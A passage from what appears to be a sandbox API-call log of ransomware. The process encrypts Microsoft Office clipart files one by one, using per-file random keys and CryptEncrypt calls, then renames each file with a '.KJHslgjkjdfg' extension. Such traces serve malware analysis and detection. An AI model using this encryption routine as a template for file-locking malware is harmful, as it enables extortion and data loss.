[0196.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.530] SetEndOfFile (hFile=0x130) returned 1 [0196.532] GetProcessHeap () returned 0x2ef0000 [0196.532] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.532] GetProcessHeap () returned 0x2ef0000 [0196.532] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.kjhslgjkjdfg")) returned 1 [0196.533] CloseHandle (hObject=0x130) returned 1 [0196.533] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0196.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.534] GetProcessHeap () returned 0x2ef0000 [0196.534] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.534] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.534] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0196.535] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.535] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.535] GetProcessHeap () returned 0x2ef0000 [0196.535] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.535] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.535] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.535] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.535] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.535] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.535] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.536] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.536] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.536] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.536] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1bba, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1bba, lpOverlapped=0x0) returned 1 [0196.536] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bc0, dwBufLen=0x1bc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bc0) returned 1 [0196.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.537] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1bc0, lpOverlapped=0x0) returned 1 [0196.537] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.537] SetEndOfFile (hFile=0x130) returned 1 [0196.537] GetProcessHeap () returned 0x2ef0000 [0196.537] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.537] GetProcessHeap () returned 0x2ef0000 [0196.537] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.kjhslgjkjdfg")) returned 1 [0196.538] CloseHandle (hObject=0x130) returned 1 [0196.538] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0196.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.539] GetProcessHeap () returned 0x2ef0000 [0196.539] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.539] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.539] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.539] GetProcessHeap () returned 0x2ef0000 [0196.539] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.539] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.539] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.539] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.541] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.541] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.542] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.542] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.542] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.542] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.542] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb20, lpOverlapped=0x0) returned 1 [0196.542] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb20, dwBufLen=0xb20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb20) returned 1 [0196.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.542] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb20, lpOverlapped=0x0) returned 1 [0196.542] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.542] SetEndOfFile (hFile=0x130) returned 1 [0196.544] GetProcessHeap () returned 0x2ef0000 [0196.544] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.544] GetProcessHeap () returned 0x2ef0000 [0196.544] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.kjhslgjkjdfg")) returned 1 [0196.545] CloseHandle (hObject=0x130) returned 1 [0196.545] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0196.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.546] GetProcessHeap () returned 0x2ef0000 [0196.546] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.546] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.546] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.548] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.548] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.548] GetProcessHeap () returned 0x2ef0000 [0196.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.548] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.548] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.548] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.548] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.548] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.548] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.548] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.548] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.548] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.549] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.549] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x47c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x47c, lpOverlapped=0x0) returned 1 [0196.549] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x480, dwBufLen=0x480 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x480) returned 1 [0196.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.549] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x480, lpOverlapped=0x0) returned 1 [0196.549] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.549] SetEndOfFile (hFile=0x130) returned 1 [0196.550] GetProcessHeap () returned 0x2ef0000 [0196.550] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.550] GetProcessHeap () returned 0x2ef0000 [0196.550] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.kjhslgjkjdfg")) returned 1 [0196.551] CloseHandle (hObject=0x130) returned 1 [0196.551] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0196.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.551] GetProcessHeap () returned 0x2ef0000 [0196.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.551] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.551] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.553] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.553] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.553] GetProcessHeap () returned 0x2ef0000 [0196.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.553] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.553] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.553] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.553] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.553] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.553] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.554] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.554] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.554] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.554] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xac4, lpOverlapped=0x0) returned 1 [0196.554] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xad0, dwBufLen=0xad0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xad0) returned 1 [0196.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.554] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xad0, lpOverlapped=0x0) returned 1 [0196.554] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.554] SetEndOfFile (hFile=0x130) returned 1 [0196.556] GetProcessHeap () returned 0x2ef0000 [0196.556] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.556] GetProcessHeap () returned 0x2ef0000 [0196.556] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.556] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.kjhslgjkjdfg")) returned 1 [0196.557] CloseHandle (hObject=0x130) returned 1 [0196.557] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, 